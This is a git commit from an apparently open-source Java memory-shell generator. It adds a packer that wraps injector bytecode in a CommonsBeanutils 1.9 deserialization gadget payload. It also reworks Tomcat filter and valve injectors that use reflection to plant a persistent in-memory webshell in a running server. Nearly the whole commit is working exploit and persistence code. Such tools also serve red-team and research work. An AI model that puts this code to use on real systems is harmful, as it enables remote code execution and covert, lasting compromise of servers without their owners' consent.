feat: support deserialize packer (but only CB4)

This commit is contained in:
ReaJason
2024-12-10 21:07:41 +08:00
parent 60345851f5
commit 5e0b47956d
37 changed files with 690 additions and 62 deletions
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.deserialize.CommonsBeanutils19;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class DeserializePacker implements Packer {
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
return serialize(payload);
}
@SneakyThrows
public static byte[] serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.flush();
oos.close();
return baos.toByteArray();
}
}
@@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import lombok.Getter;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/26
@@ -17,6 +19,17 @@ public interface Packer {
*/
byte[] pack(GenerateResult generateResult);
/**
* 部分打包器可能需要配置来进行额外的配置项
*
* @param generateResult 生成的内存马信息
* @param config 配置
* @return 字节数组
*/
default byte[] pack(GenerateResult generateResult, Map<String, String> config) {
throw new UnsupportedOperationException();
}
@Getter
static enum INSTANCE {
@@ -28,7 +41,13 @@ public interface Packer {
/**
* 脚本引擎打包器
*/
ScriptEngine(new ScriptEnginePacker());
ScriptEngine(new ScriptEnginePacker()),
/**
* 反序列化打包器
*/
Deserialize(new DeserializePacker()),
;
private final Packer packer;
@@ -206,7 +206,6 @@ public class TomcatFilterInjector {
@SuppressWarnings("all")
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
ClassLoader catalinaLoader = getCatalinaLoader();
String filterClassName = getClassName();
Object filterDef;
Object filterMap;
@@ -230,8 +229,8 @@ public class TomcatFilterInjector {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
} catch (Exception e) {
// tomcat v5
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, context.getClass().getClassLoader()).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance();
}
}
try {
@@ -247,7 +246,7 @@ public class TomcatFilterInjector {
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
}
try {
// v7.0.0 以上
@@ -257,24 +256,18 @@ public class TomcatFilterInjector {
}
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterClassName, filterConfig);
try {
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterClassName, filterConfig);
} catch (Exception e) {
// 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到
if (!(e.getCause() instanceof ClassNotFoundException)) {
throw e;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
ClassLoader catalinaLoader = null;
for (Thread thread : threads) {
// 适配 v5 的 Class Loader 问题
if (thread.getName().contains("ContainerBackgroundProcessor")) {
catalinaLoader = thread.getContextClassLoader();
break;
}
}
return catalinaLoader;
}
}
@@ -42,6 +42,7 @@ public class TomcatValveInjector {
if (valve == null) {
continue;
}
System.out.println(valve);
injectValve(context, valve);
}
} catch (Exception e) {
@@ -157,6 +158,7 @@ public class TomcatValveInjector {
@SuppressWarnings("all")
public void injectValve(Object context, Object valve) throws Exception {
if (isInjected(context, valve.getClass().getName())) {
System.out.println("valve already injected");
return;
}
try {